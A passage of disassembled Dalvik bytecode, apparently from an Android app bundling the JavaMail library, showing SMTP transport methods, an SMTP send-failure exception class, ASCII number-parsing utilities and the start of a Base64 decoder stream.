000001EE  iput-object             v2, p0, SMTPTransport->validSentAddr:[Address
000001F2  const/4                 v2, 0x0
000001F4  iput-object             v2, p0, SMTPTransport->addresses:[Address
000001F8  const/4                 v2, 0x0
000001FA  iput-object             v2, p0, SMTPTransport->message:MimeMessage
000001FE  const/4                 v2, 0x0
00000200  iput-object             v2, p0, SMTPTransport->exception:MessagingException
00000204  const/4                 v2, 0x0
00000206  iput-boolean            v2, p0, SMTPTransport->sendPartiallyFailed:Z
0000020A  throw                   v1
:20C
0000020C  aget-object             v4, p2, v1
00000210  instance-of             v4, v4, InternetAddress
00000214  if-nez                  v4, :24E
:218
00000218  new-instance            v2, MessagingException
0000021C  new-instance            v3, StringBuilder
00000220  invoke-direct           StringBuilder-><init>()V, v3
00000226  aget-object             v1, p2, v1
0000022A  invoke-virtual          StringBuilder->append(Object)StringBuilder, v3, v1
00000230  move-result-object      v1
00000232  const-string            v3, " is not an InternetAddress"
00000236  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v3
0000023C  move-result-object      v1
0000023E  invoke-virtual          StringBuilder->toString()String, v1
00000244  move-result-object      v1
00000246  invoke-direct           MessagingException-><init>(String)V, v2, v1
0000024C  throw                   v2
:24E
0000024E  add-int/lit8            v1, v1, 0x1
00000252  goto/16                 :42
:256
00000256  move                    v1, v3
00000258  goto/16                 :CA
:25C
0000025C  const/4                 v2, 0x1
:25E
0000025E  iget-object             v3, p0, SMTPTransport->validSentAddr:[Address
00000262  iget-object             v4, p0, SMTPTransport->validUnsentAddr:[Address
00000266  iget-object             v5, p0, SMTPTransport->invalidAddr:[Address
0000026A  iget-object             v6, p0, SMTPTransport->message:MimeMessage
0000026E  move-object             v1, p0
00000270  invoke-virtual/range    SMTPTransport->notifyTransportListeners(I, [Address, [Address, [Address, Message)V, v1 .. v6
:276
00000276  const/4                 v1, 0x0
:278
00000278  iput-object             v1, p0, SMTPTransport->invalidAddr:[Address
0000027C  iput-object             v1, p0, SMTPTransport->validUnsentAddr:[Address
00000280  iput-object             v1, p0, SMTPTransport->validSentAddr:[Address
00000284  const/4                 v1, 0x0
00000286  iput-object             v1, p0, SMTPTransport->addresses:[Address
0000028A  const/4                 v1, 0x0
0000028C  iput-object             v1, p0, SMTPTransport->message:MimeMessage
00000290  const/4                 v1, 0x0
00000292  iput-object             v1, p0, SMTPTransport->exception:MessagingException
00000296  const/4                 v1, 0x0
00000298  iput-boolean            v1, p0, SMTPTransport->sendPartiallyFailed:Z
:29C
0000029C  monitor-exit            p0
0000029E  return-void
:2A0
000002A0  move-exception          v1
000002A2  move-object             v7, v1
:2A4
000002A4  iget-boolean            v1, p0, SMTPTransport->debug:Z
000002A8  if-eqz                  v1, :2B6
:2AC
000002AC  iget-object             v1, p0, SMTPTransport->out:PrintStream
000002B0  invoke-virtual          IOException->printStackTrace(PrintStream)V, v7, v1
:2B6
000002B6  invoke-direct           SMTPTransport->closeConnection()V, p0
:2BC
000002BC  const/4                 v2, 0x2
:2BE
000002BE  iget-object             v3, p0, SMTPTransport->validSentAddr:[Address
000002C2  iget-object             v4, p0, SMTPTransport->validUnsentAddr:[Address
000002C6  iget-object             v5, p0, SMTPTransport->invalidAddr:[Address
000002CA  iget-object             v6, p0, SMTPTransport->message:MimeMessage
000002CE  move-object             v1, p0
000002D0  invoke-virtual/range    SMTPTransport->notifyTransportListeners(I, [Address, [Address, [Address, Message)V, v1 .. v6
000002D6  new-instance            v1, MessagingException
000002DA  const-string            v2, "IOException while sending message"
000002DE  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v7
000002E4  throw                   v1
:2E6
000002E6  move-exception          v1
000002E8  goto                    :2BC
:2EA
000002EA  move-exception          v1
000002EC  goto/16                 :128
:2F0
000002F0  move                    v1, v3
000002F2  goto/16                 :76
          .catchall {:6 .. :3A} :3A
          .catchall {:42 .. :118} :3A
          .catch MessagingException {:11E .. :128} :2EA
          .catchall {:11E .. :128} :3A
          .catch MessagingException {:128 .. :1B0} :1B0
          .catch IOException {:128 .. :1B0} :2A0
          .catchall {:128 .. :1B0} :1E2
          .catchall {:1B4 .. :1E2} :1E2
          .catchall {:1E6 .. :24E} :3A
          .catch MessagingException {:25E .. :276} :1B0
          .catch IOException {:25E .. :276} :2A0
          .catchall {:25E .. :276} :1E2
          .catchall {:278 .. :29C} :3A
          .catchall {:2A4 .. :2B6} :1E2
          .catch MessagingException {:2B6 .. :2BC} :2E6
          .catchall {:2B6 .. :2BC} :1E2
          .catchall {:2BE .. :2E6} :1E2
.end method

.method public declared-synchronized setLocalHost(String)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iput-object             p1, p0, SMTPTransport->localHostName:String
:6
00000006  monitor-exit            p0
00000008  return-void
:A
0000000A  move-exception          v0
0000000C  monitor-exit            p0
0000000E  throw                   v0
          .catchall {:2 .. :6} :A
.end method

.method public declared-synchronized setReportSuccess(Z)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iput-boolean            p1, p0, SMTPTransport->reportSuccess:Z
:6
00000006  monitor-exit            p0
00000008  return-void
:A
0000000A  move-exception          v0
0000000C  monitor-exit            p0
0000000E  throw                   v0
          .catchall {:2 .. :6} :A
.end method

.method public declared-synchronized setSASLRealm(String)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iput-object             p1, p0, SMTPTransport->saslRealm:String
:6
00000006  monitor-exit            p0
00000008  return-void
:A
0000000A  move-exception          v0
0000000C  monitor-exit            p0
0000000E  throw                   v0
          .catchall {:2 .. :6} :A
.end method

.method public declared-synchronized setStartTLS(Z)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iput-boolean            p1, p0, SMTPTransport->useStartTLS:Z
:6
00000006  monitor-exit            p0
00000008  return-void
:A
0000000A  move-exception          v0
0000000C  monitor-exit            p0
0000000E  throw                   v0
          .catchall {:2 .. :6} :A
.end method

.method public declared-synchronized setUseRset(Z)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iput-boolean            p1, p0, SMTPTransport->useRset:Z
:6
00000006  monitor-exit            p0
00000008  return-void
:A
0000000A  move-exception          v0
0000000C  monitor-exit            p0
0000000E  throw                   v0
          .catchall {:2 .. :6} :A
.end method

.method public declared-synchronized simpleCommand(String)I
          .registers 3
00000000  monitor-enter           p0
:2
00000002  invoke-virtual          SMTPTransport->sendCommand(String)V, p0, p1
00000008  invoke-virtual          SMTPTransport->readServerResponse()I, p0
:E
0000000E  move-result             v0
00000010  monitor-exit            p0
00000012  return                  v0
:14
00000014  move-exception          v0
00000016  monitor-exit            p0
00000018  throw                   v0
          .catchall {:2 .. :E} :14
.end method

.method protected simpleCommand([B)I
          .registers 3
00000000  sget-boolean            v0, SMTPTransport->$assertionsDisabled:Z
00000004  if-nez                  v0, :20
:8
00000008  invoke-static           Thread->holdsLock(Object)Z, p0
0000000E  move-result             v0
00000010  if-nez                  v0, :20
:14
00000014  new-instance            v0, AssertionError
00000018  invoke-direct           AssertionError-><init>()V, v0
0000001E  throw                   v0
:20
00000020  invoke-direct           SMTPTransport->sendCommand([B)V, p0, p1
00000026  invoke-virtual          SMTPTransport->readServerResponse()I, p0
0000002C  move-result             v0
0000002E  return                  v0
.end method

.method protected startTLS()V
          .registers 5
00000000  const-string            v0, "STARTTLS"
00000004  const/16                v1, 0xDC
00000008  invoke-virtual          SMTPTransport->issueCommand(String, I)V, p0, v0, v1
:E
0000000E  iget-object             v0, p0, SMTPTransport->serverSocket:Socket
00000012  iget-object             v1, p0, SMTPTransport->session:Session
00000016  invoke-virtual          Session->getProperties()Properties, v1
0000001C  move-result-object      v1
0000001E  new-instance            v2, StringBuilder
00000022  const-string            v3, "mail."
00000026  invoke-direct           StringBuilder-><init>(String)V, v2, v3
0000002C  iget-object             v3, p0, SMTPTransport->name:String
00000030  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
00000036  move-result-object      v2
00000038  invoke-virtual          StringBuilder->toString()String, v2
0000003E  move-result-object      v2
00000040  invoke-static           SocketFetcher->startTLS(Socket, Properties, String)Socket, v0, v1, v2
00000046  move-result-object      v0
00000048  iput-object             v0, p0, SMTPTransport->serverSocket:Socket
0000004C  invoke-direct           SMTPTransport->initStreams()V, p0
:52
00000052  return-void
:54
00000054  move-exception          v0
00000056  invoke-direct           SMTPTransport->closeConnection()V, p0
0000005C  new-instance            v1, MessagingException
00000060  const-string            v2, "Could not convert socket to TLS"
00000064  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
0000006A  throw                   v1
          .catch IOException {:E .. :52} :54
.end method

.method protected supportsAuthentication(String)Z
          .registers 5
00000000  const/4                 v1, 0x0
00000002  sget-boolean            v0, SMTPTransport->$assertionsDisabled:Z
00000006  if-nez                  v0, :22
:A
0000000A  invoke-static           Thread->holdsLock(Object)Z, p0
00000010  move-result             v0
00000012  if-nez                  v0, :22
:16
00000016  new-instance            v0, AssertionError
0000001A  invoke-direct           AssertionError-><init>()V, v0
00000020  throw                   v0
:22
00000022  iget-object             v0, p0, SMTPTransport->extMap:Hashtable
00000026  if-nez                  v0, :2E
:2A
0000002A  move                    v0, v1
:2C
0000002C  return                  v0
:2E
0000002E  iget-object             v0, p0, SMTPTransport->extMap:Hashtable
00000032  const-string            v2, "AUTH"
00000036  invoke-virtual          Hashtable->get(Object)Object, v0, v2
0000003C  move-result-object      v0
0000003E  check-cast              v0, String
00000042  if-nez                  v0, :4A
:46
00000046  move                    v0, v1
00000048  goto                    :2C
:4A
0000004A  new-instance            v2, StringTokenizer
0000004E  invoke-direct           StringTokenizer-><init>(String)V, v2, v0
:54
00000054  invoke-virtual          StringTokenizer->hasMoreTokens()Z, v2
0000005A  move-result             v0
0000005C  if-nez                  v0, :64
:60
00000060  move                    v0, v1
00000062  goto                    :2C
:64
00000064  invoke-virtual          StringTokenizer->nextToken()String, v2
0000006A  move-result-object      v0
0000006C  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, p1
00000072  move-result             v0
00000074  if-eqz                  v0, :54
:78
00000078  const/4                 v0, 0x1
0000007A  goto                    :2C
.end method

.method public supportsExtension(String)Z
          .registers 4
00000000  iget-object             v0, p0, SMTPTransport->extMap:Hashtable
00000004  if-eqz                  v0, :28
:8
00000008  iget-object             v0, p0, SMTPTransport->extMap:Hashtable
0000000C  sget-object             v1, Locale->ENGLISH:Locale
00000010  invoke-virtual          String->toUpperCase(Locale)String, p1, v1
00000016  move-result-object      v1
00000018  invoke-virtual          Hashtable->get(Object)Object, v0, v1
0000001E  move-result-object      v0
00000020  if-eqz                  v0, :28
:24
00000024  const/4                 v0, 0x1
:26
00000026  return                  v0
:28
00000028  const/4                 v0, 0x0
0000002A  goto                    :26
.end method

#--------------------------------------------------------------------------------
.class public SMTPSSLTransport
.super SMTPTransport
.source ""

.method public constructor <init>(Session, URLName)V
          .registers 9
00000000  const-string            v3, "smtps"
00000004  const/16                v4, 0x1D1
00000008  const/4                 v5, 0x1
0000000A  move-object             v0, p0
0000000C  move-object             v1, p1
0000000E  move-object             v2, p2
00000010  invoke-direct/range     SMTPTransport-><init>(Session, URLName, String, I, Z)V, v0 .. v5
00000016  return-void
.end method

#--------------------------------------------------------------------------------
.class public SMTPSendFailedException
.super SendFailedException
.source ""

.field private static final serialVersionUID:J = 0x6FB43A627EF24A1EL
.field protected addr:InternetAddress
.field protected cmd:String
.field protected rc:I

.method public constructor <init>(String, I, String, Exception, [Address, [Address, [Address)V
          .registers 14
00000000  move-object             v0, p0
00000002  move-object             v1, p3
00000004  move-object             v2, p4
00000006  move-object             v3, p5
00000008  move-object             v4, p6
0000000A  move-object             v5, p7
0000000C  invoke-direct/range     SendFailedException-><init>(String, Exception, [Address, [Address, [Address)V, v0 .. v5
00000012  iput-object             p1, p0, SMTPSendFailedException->cmd:String
00000016  iput                    p2, p0, SMTPSendFailedException->rc:I
0000001A  return-void
.end method

.method public getCommand()String
          .registers 2
00000000  iget-object             v0, p0, SMTPSendFailedException->cmd:String
00000004  return-object           v0
.end method

.method public getReturnCode()I
          .registers 2
00000000  iget                    v0, p0, SMTPSendFailedException->rc:I
00000004  return                  v0
.end method

#--------------------------------------------------------------------------------
.class public ASCIIUtility
.super Object
.source ""

.method private constructor <init>()V
          .registers 1
00000000  invoke-direct           Object-><init>()V, p0
00000006  return-void
.end method

.method public static getBytes(InputStream)[B
          .registers 7
00000000  const/4                 v5, 0x0
00000002  const/16                v0, 0x400
00000006  instance-of             v1, p0, ByteArrayInputStream
0000000A  if-eqz                  v1, :22
:E
0000000E  invoke-virtual          InputStream->available()I, p0
00000014  move-result             v1
00000016  new-array               v0, v1, [B
0000001A  invoke-virtual          InputStream->read([B, I, I)I, p0, v0, v5, v1
:20
00000020  return-object           v0
:22
00000022  new-instance            v1, ByteArrayOutputStream
00000026  invoke-direct           ByteArrayOutputStream-><init>()V, v1
0000002C  new-array               v2, v0, [B
:30
00000030  invoke-virtual          InputStream->read([B, I, I)I, p0, v2, v5, v0
00000036  move-result             v3
00000038  const/4                 v4, 0xFFFFFFFFFFFFFFFF
0000003A  if-ne                   v3, v4, :48
:3E
0000003E  invoke-virtual          ByteArrayOutputStream->toByteArray()[B, v1
00000044  move-result-object      v0
00000046  goto                    :20
:48
00000048  invoke-virtual          ByteArrayOutputStream->write([B, I, I)V, v1, v2, v5, v3
0000004E  goto                    :30
.end method

.method public static getBytes(String)[B
          .registers 7
00000000  invoke-virtual          String->toCharArray()[C, p0
00000006  move-result-object      v2
00000008  array-length            v3, v2
0000000A  new-array               v4, v3, [B
0000000E  const/4                 v0, 0x0
:10
00000010  if-lt                   v0, v3, :16
:14
00000014  return-object           v4
:16
00000016  add-int/lit8            v1, v0, 0x1
0000001A  aget-char               v5, v2, v0
0000001E  int-to-byte             v5, v5
00000020  aput-byte               v5, v4, v0
00000024  move                    v0, v1
00000026  goto                    :10
.end method

.method public static parseInt([B, I, I)I
          .registers 4
00000000  const/16                v0, 0xA
00000004  invoke-static           ASCIIUtility->parseInt([B, I, I, I)I, p0, p1, p2, v0
0000000A  move-result             v0
0000000C  return                  v0
.end method

.method public static parseInt([B, I, I, I)I
          .registers 12
00000000  const/4                 v3, 0x0
00000002  if-nez                  p0, :16
:6
00000006  new-instance            v0, NumberFormatException
0000000A  const-string            v1, "null"
0000000E  invoke-direct           NumberFormatException-><init>(String)V, v0, v1
00000014  throw                   v0
:16
00000016  if-le                   p2, p1, :FC
:1A
0000001A  aget-byte               v0, p0, p1
0000001E  const/16                v1, 0x2D
00000022  if-ne                   v0, v1, :80
:26
00000026  const/4                 v2, 0x1
00000028  const/high16            v0, 0xFFFFFFFF80000000
0000002C  add-int/lit8            v1, p1, 0x1
:30
00000030  div-int                 v5, v0, p3
00000034  if-ge                   v1, p2, :120
:38
00000038  add-int/lit8            v3, v1, 0x1
0000003C  aget-byte               v1, p0, v1
00000040  int-to-char             v1, v1
00000042  invoke-static           Character->digit(C, I)I, v1, p3
00000048  move-result             v1
0000004A  if-gez                  v1, :8C
:4E
0000004E  new-instance            v0, NumberFormatException
00000052  new-instance            v1, StringBuilder
00000056  const-string            v2, "illegal number: "
0000005A  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000060  invoke-static           ASCIIUtility->toString([B, I, I)String, p0, p1, p2
00000066  move-result-object      v2
00000068  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000006E  move-result-object      v1
00000070  invoke-virtual          StringBuilder->toString()String, v1
00000076  move-result-object      v1
00000078  invoke-direct           NumberFormatException-><init>(String)V, v0, v1
0000007E  throw                   v0
:80
00000080  const                   v0, 0xFFFFFFFF80000001
00000086  move                    v1, p1
00000088  move                    v2, v3
0000008A  goto                    :30
:8C
0000008C  neg-int                 v1, v1
:8E
0000008E  if-lt                   v3, p2, :A2
:92
00000092  if-eqz                  v2, :11C
:96
00000096  add-int/lit8            v0, p1, 0x1
0000009A  if-le                   v3, v0, :10C
:9E
0000009E  move                    v0, v1
:A0
000000A0  return                  v0
:A2
000000A2  add-int/lit8            v4, v3, 0x1
000000A6  aget-byte               v3, p0, v3
000000AA  int-to-char             v3, v3
000000AC  invoke-static           Character->digit(C, I)I, v3, p3
000000B2  move-result             v3
000000B4  if-gez                  v3, :C8
:B8
000000B8  new-instance            v0, NumberFormatException
000000BC  const-string            v1, "illegal number"
000000C0  invoke-direct           NumberFormatException-><init>(String)V, v0, v1
000000C6  throw                   v0
:C8
000000C8  if-ge                   v1, v5, :DC
:CC
000000CC  new-instance            v0, NumberFormatException
000000D0  const-string            v1, "illegal number"
000000D4  invoke-direct           NumberFormatException-><init>(String)V, v0, v1
000000DA  throw                   v0
:DC
000000DC  mul-int/2addr           v1, p3
000000DE  add-int                 v6, v0, v3
000000E2  if-ge                   v1, v6, :F6
:E6
000000E6  new-instance            v0, NumberFormatException
000000EA  const-string            v1, "illegal number"
000000EE  invoke-direct           NumberFormatException-><init>(String)V, v0, v1
000000F4  throw                   v0
:F6
000000F6  sub-int/2addr           v1, v3
000000F8  move                    v3, v4
000000FA  goto                    :8E
:FC
000000FC  new-instance            v0, NumberFormatException
00000100  const-string            v1, "illegal number"
00000104  invoke-direct           NumberFormatException-><init>(String)V, v0, v1
0000010A  throw                   v0
:10C
0000010C  new-instance            v0, NumberFormatException
00000110  const-string            v1, "illegal number"
00000114  invoke-direct           NumberFormatException-><init>(String)V, v0, v1
0000011A  throw                   v0
:11C
0000011C  neg-int                 v0, v1
0000011E  goto                    :A0
:120
00000120  move                    v7, v1
00000122  move                    v1, v3
00000124  move                    v3, v7
00000126  goto                    :8E
.end method

.method public static parseLong([B, I, I)J
          .registers 5
00000000  const/16                v0, 0xA
00000004  invoke-static           ASCIIUtility->parseLong([B, I, I, I)J, p0, p1, p2, v0
0000000A  move-result-wide        v0
0000000C  return-wide             v0
.end method

.method public static parseLong([B, I, I, I)J
          .registers 18
00000000  if-nez                  p0, :14
:4
00000004  new-instance            v1, NumberFormatException
00000008  const-string            v2, "null"
0000000C  invoke-direct           NumberFormatException-><init>(String)V, v1, v2
00000012  throw                   v1
:14
00000014  const-wide/16           v5, 0x0
00000018  const/4                 v3, 0x0
0000001A  move/from16             v0, p2
0000001E  if-le                   v0, p1, :136
:22
00000022  aget-byte               v1, p0, p1
00000026  const/16                v2, 0x2D
0000002A  if-ne                   v1, v2, :96
:2E
0000002E  const/4                 v4, 0x1
00000030  const-wide/high16       v1, 0x8000000000000000
00000034  add-int/lit8            v3, p1, 0x1
:38
00000038  move/from16             v0, p3
0000003C  int-to-long             v7, v0
0000003E  div-long                v8, v1, v7
00000042  move/from16             v0, p2
00000046  if-ge                   v3, v0, :B0
:4A
0000004A  add-int/lit8            v5, v3, 0x1
0000004E  aget-byte               v3, p0, v3
00000052  int-to-char             v3, v3
00000054  move/from16             v0, p3
00000058  invoke-static           Character->digit(C, I)I, v3, v0
0000005E  move-result             v3
00000060  if-gez                  v3, :A6
:64
00000064  new-instance            v1, NumberFormatException
00000068  new-instance            v2, StringBuilder
0000006C  const-string            v3, "illegal number: "
00000070  invoke-direct           StringBuilder-><init>(String)V, v2, v3
00000076  invoke-static/range     ASCIIUtility->toString([B, I, I)String, v14 .. v16
0000007C  move-result-object      v3
0000007E  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
00000084  move-result-object      v2
00000086  invoke-virtual          StringBuilder->toString()String, v2
0000008C  move-result-object      v2
0000008E  invoke-direct           NumberFormatException-><init>(String)V, v1, v2
00000094  throw                   v1
:96
00000096  const-wide              v1, 0x8000000000000001
000000A0  move                    v4, v3
000000A2  move                    v3, p1
000000A4  goto                    :38
:A6
000000A6  neg-int                 v3, v3
000000A8  int-to-long             v6, v3
000000AA  move                    v3, v5
000000AC  move-wide               v12, v6
000000AE  move-wide               v5, v12
:B0
000000B0  move/from16             v0, p2
000000B4  if-lt                   v3, v0, :C8
:B8
000000B8  if-eqz                  v4, :156
:BC
000000BC  add-int/lit8            v1, p1, 0x1
000000C0  if-le                   v3, v1, :146
:C4
000000C4  move-wide               v1, v5
:C6
000000C6  return-wide             v1
:C8
000000C8  add-int/lit8            v7, v3, 0x1
000000CC  aget-byte               v3, p0, v3
000000D0  int-to-char             v3, v3
000000D2  move/from16             v0, p3
000000D6  invoke-static           Character->digit(C, I)I, v3, v0
000000DC  move-result             v3
000000DE  if-gez                  v3, :F2
:E2
000000E2  new-instance            v1, NumberFormatException
000000E6  const-string            v2, "illegal number"
000000EA  invoke-direct           NumberFormatException-><init>(String)V, v1, v2
000000F0  throw                   v1
:F2
000000F2  cmp-long                v10, v5, v8
000000F6  if-gez                  v10, :10A
:FA
000000FA  new-instance            v1, NumberFormatException
000000FE  const-string            v2, "illegal number"
00000102  invoke-direct           NumberFormatException-><init>(String)V, v1, v2
00000108  throw                   v1
:10A
0000010A  move/from16             v0, p3
0000010E  int-to-long             v10, v0
00000110  mul-long/2addr          v5, v10
00000112  int-to-long             v10, v3
00000114  add-long/2addr          v10, v1
00000116  cmp-long                v10, v5, v10
0000011A  if-gez                  v10, :12E
:11E
0000011E  new-instance            v1, NumberFormatException
00000122  const-string            v2, "illegal number"
00000126  invoke-direct           NumberFormatException-><init>(String)V, v1, v2
0000012C  throw                   v1
:12E
0000012E  int-to-long             v10, v3
00000130  sub-long/2addr          v5, v10
00000132  move                    v3, v7
00000134  goto                    :B0
:136
00000136  new-instance            v1, NumberFormatException
0000013A  const-string            v2, "illegal number"
0000013E  invoke-direct           NumberFormatException-><init>(String)V, v1, v2
00000144  throw                   v1
:146
00000146  new-instance            v1, NumberFormatException
0000014A  const-string            v2, "illegal number"
0000014E  invoke-direct           NumberFormatException-><init>(String)V, v1, v2
00000154  throw                   v1
:156
00000156  neg-long                v1, v5
00000158  goto                    :C6
.end method

.method public static toString(ByteArrayInputStream)String
          .registers 7
00000000  const/4                 v0, 0x0
00000002  invoke-virtual          ByteArrayInputStream->available()I, p0
00000008  move-result             v2
0000000A  new-array               v3, v2, [C
0000000E  new-array               v4, v2, [B
00000012  invoke-virtual          ByteArrayInputStream->read([B, I, I)I, p0, v4, v0, v2
:18
00000018  if-lt                   v0, v2, :28
:1C
0000001C  new-instance            v0, String
00000020  invoke-direct           String-><init>([C)V, v0, v3
00000026  return-object           v0
:28
00000028  add-int/lit8            v1, v0, 0x1
0000002C  aget-byte               v5, v4, v0
00000030  and-int/lit16           v5, v5, 0xFF
00000034  int-to-char             v5, v5
00000036  aput-char               v5, v3, v0
0000003A  move                    v0, v1
0000003C  goto                    :18
.end method

.method public static toString([B, I, I)String
          .registers 9
00000000  sub-int                 v3, p2, p1
00000004  new-array               v4, v3, [C
00000008  const/4                 v0, 0x0
0000000A  move                    v1, v0
:C
0000000C  if-lt                   v1, v3, :1C
:10
00000010  new-instance            v0, String
00000014  invoke-direct           String-><init>([C)V, v0, v4
0000001A  return-object           v0
:1C
0000001C  add-int/lit8            v2, v1, 0x1
00000020  add-int/lit8            v0, p1, 0x1
00000024  aget-byte               v5, p0, p1
00000028  and-int/lit16           v5, v5, 0xFF
0000002C  int-to-char             v5, v5
0000002E  aput-char               v5, v4, v1
00000032  move                    p1, v0
00000034  move                    v1, v2
00000036  goto                    :C
.end method

#--------------------------------------------------------------------------------
.class public BASE64DecoderStream
.super FilterInputStream
.source ""

.field private static final pem_array:[C
.field private static final pem_convert_array:[B
.field private buffer:[B
.field private bufsize:I
.field private ignoreErrors:Z
.field private index:I
.field private input_buffer:[B
.field private input_len:I
.field private input_pos:I

.method static constructor <clinit>()V
          .registers 4
00000000  const/4                 v0, 0x0
00000002  const/16                v1, 0x40
00000006  new-array               v1, v1, [C
0000000A  fill-array-data         v1, :60
00000010  sput-object             v1, BASE64DecoderStream->pem_array:[C
00000014  const/16                v1, 0x100
00000018  new-array               v1, v1, [B
0000001C  sput-object             v1, BASE64DecoderStream->pem_convert_array:[B
00000020  move                    v1, v0
:22
00000022  const/16                v2, 0xFF
00000026  if-lt                   v1, v2, :36
:2A
0000002A  sget-object             v1, BASE64DecoderStream->pem_array:[C
0000002E  array-length            v1, v1
00000030  if-lt                   v0, v1, :46
:34
00000034  return-void
:36
00000036  sget-object             v2, BASE64DecoderStream->pem_convert_array:[B
0000003A  const/4                 v3, 0xFFFFFFFFFFFFFFFF
0000003C  aput-byte               v3, v2, v1
00000040  add-int/lit8            v1, v1, 0x1
00000044  goto                    :22
:46
00000046  sget-object             v1, BASE64DecoderStream->pem_convert_array:[B
0000004A  sget-object             v2, BASE64DecoderStream->pem_array:[C
0000004E  aget-char               v2, v2, v0
00000052  int-to-byte             v3, v0
00000054  aput-byte               v3, v1, v2
00000058  add-int/lit8            v0, v0, 0x1
0000005C  goto                    :2A
00000060  .array-data 2 x 0x40
              0x41
              0x42
              0x43
              0x44
              0x45
              0x46
              0x47
              0x48
              0x49
              0x4A
              0x4B
              0x4C
              0x4D
              0x4E
              0x4F
              0x50
              0x51
              0x52
              0x53
              0x54
              0x55
              0x56
              0x57
              0x58
              0x59
              0x5A
              0x61
              0x62
              0x63
              0x64
              0x65
              0x66
              0x67
              0x68
              0x69
              0x6A
              0x6B
              0x6C
              0x6D
              0x6E
              0x6F
              0x70
              0x71
              0x72
              0x73
              0x74
              0x75
              0x76
              0x77
              0x78
              0x79
              0x7A
              0x30
              0x31
              0x32
              0x33
              0x34
              0x35
              0x36
              0x37
              0x38
              0x39
              0x2B
              0x2F
          .end array-data
.end method

.method public constructor <init>(InputStream)V
          .registers 5
00000000  const/4                 v0, 0x0
00000002  invoke-direct           FilterInputStream-><init>(InputStream)V, p0, p1
00000008  const/4                 v1, 0x3
0000000A  new-array               v1, v1, [B
0000000E  iput-object             v1, p0, BASE64DecoderStream->buffer:[B
00000012  iput                    v0, p0, BASE64DecoderStream->bufsize:I
00000016  iput                    v0, p0, BASE64DecoderStream->index:I
0000001A  const/16                v1, 0x1FFE
0000001E  new-array               v1, v1, [B
00000022  iput-object             v1, p0, BASE64DecoderStream->input_buffer:[B
00000026  iput                    v0, p0, BASE64DecoderStream->input_pos:I
0000002A  iput                    v0, p0, BASE64DecoderStream->input_len:I
0000002E  iput-boolean            v0, p0, BASE64DecoderStream->ignoreErrors:Z
:32
00000032  const-string            v1, "mail.mime.base64.ignoreerrors"
00000036  invoke-static           System->getProperty(String)String, v1
0000003C  move-result-object      v1
0000003E  if-eqz                  v1, :54
:42
00000042  const-string            v2, "false"
00000046  invoke-virtual          String->equalsIgnoreCase(String)Z, v1, v2
0000004C  move-result             v1
0000004E  if-nez                  v1, :54
:52
00000052  const/4                 v0, 0x1
:54
00000054  iput-boolean            v0, p0, BASE64DecoderStream->ignoreErrors:Z
:58
00000058  return-void
:5A
0000005A  move-exception          v0
0000005C  goto                    :58
          .catch SecurityException {:32 .. :58} :5A
.end method

.method public constructor <init>(InputStream, Z)V
          .registers 5
00000000  const/4                 v1, 0x0
00000002  invoke-direct           FilterInputStream-><init>(InputStream)V, p0, p1
00000008  const/4                 v0, 0x3
0000000A  new-array               v0, v0, [B
0000000E  iput-object             v0, p0, BASE64DecoderStream->buffer:[B
00000012  iput                    v1, p0, BASE64DecoderStream->bufsize:I
00000016  iput                    v1, p0, BASE64DecoderStream->index:I
0000001A  const/16                v0, 0x1FFE
0000001E  new-array               v0, v0, [B
00000022  iput-object             v0, p0, BASE64DecoderStream->input_buffer:[B
00000026  iput                    v1, p0, BASE64DecoderStream->input_pos:I
0000002A  iput                    v1, p0, BASE64DecoderStream->input_len:I
0000002E  iput-boolean            v1, p0, BASE64DecoderStream->ignoreErrors:Z
00000032  iput-boolean            p2, p0, BASE64DecoderStream->ignoreErrors:Z
00000036  return-void
.end method

.method private decode([B, I, I)I
          .registers 14
00000000  const/4                 v9, 0x2
00000002  const/4                 v0, 0x1
00000004  const/4                 v8, 0xFFFFFFFFFFFFFFFE
00000006  const/4                 v1, 0x0
00000008  const/4                 v7, 0xFFFFFFFFFFFFFFFF
0000000A  move                    v5, p2
:C
0000000C  const/4                 v2, 0x3
0000000E  if-ge                   p3, v2, :18
:12
00000012  sub-int                 v0, v5, p2
:16
00000016  return                  v0
:18
00000018  move                    v4, v1
0000001A  move                    v2, v1
:1C
0000001C  const/4                 v3, 0x4
0000001E  if-lt                   v2, v3, :5C
:22
00000022  add-int/lit8            v2, v5, 0x2
00000026  and-int/lit16           v3, v4, 0xFF
0000002A  int-to-byte             v3, v3
0000002C  aput-byte               v3, p1, v2
00000030  shr-int/lit8            v2, v4, 0x8
00000034  add-int/lit8            v3, v5, 0x1
00000038  and-int/lit16           v4, v2, 0xFF
0000003C  int-to-byte             v4, v4
0000003E  aput-byte               v4, p1, v3
00000042  shr-int/lit8            v2, v2, 0x8
00000046  and-int/lit16           v2, v2, 0xFF
0000004A  int-to-byte             v2, v2
0000004C  aput-byte               v2, p1, v5
00000050  add-int/lit8            p3, p3, 0xFFFFFFFFFFFFFFFD
00000054  add-int/lit8            v2, v5, 0x3
00000058  move                    v5, v2
0000005A  goto                    :C
:5C
0000005C  invoke-direct           BASE64DecoderStream->getByte()I, p0
00000062  move-result             v6
00000064  if-eq                   v6, v7, :6C
:68
00000068  if-ne                   v6, v8, :200
:6C
0000006C  if-ne                   v6, v7, :10A
:70
00000070  if-nez                  v2, :7A
:74
00000074  sub-int                 v0, v5, p2
00000078  goto                    :16
:7A
0000007A  iget-boolean            v1, p0, BASE64DecoderStream->ignoreErrors:Z
0000007E  if-nez                  v1, :C8
:82
00000082  new-instance            v0, IOException
00000086  new-instance            v1, StringBuilder
0000008A  const-string            v3, "Error in encoded stream: needed 4 valid base64 characters but only got "
0000008E  invoke-direct           StringBuilder-><init>(String)V, v1, v3
00000094  invoke-virtual          StringBuilder->append(I)StringBuilder, v1, v2
0000009A  move-result-object      v1
0000009C  const-string            v2, " before EOF"
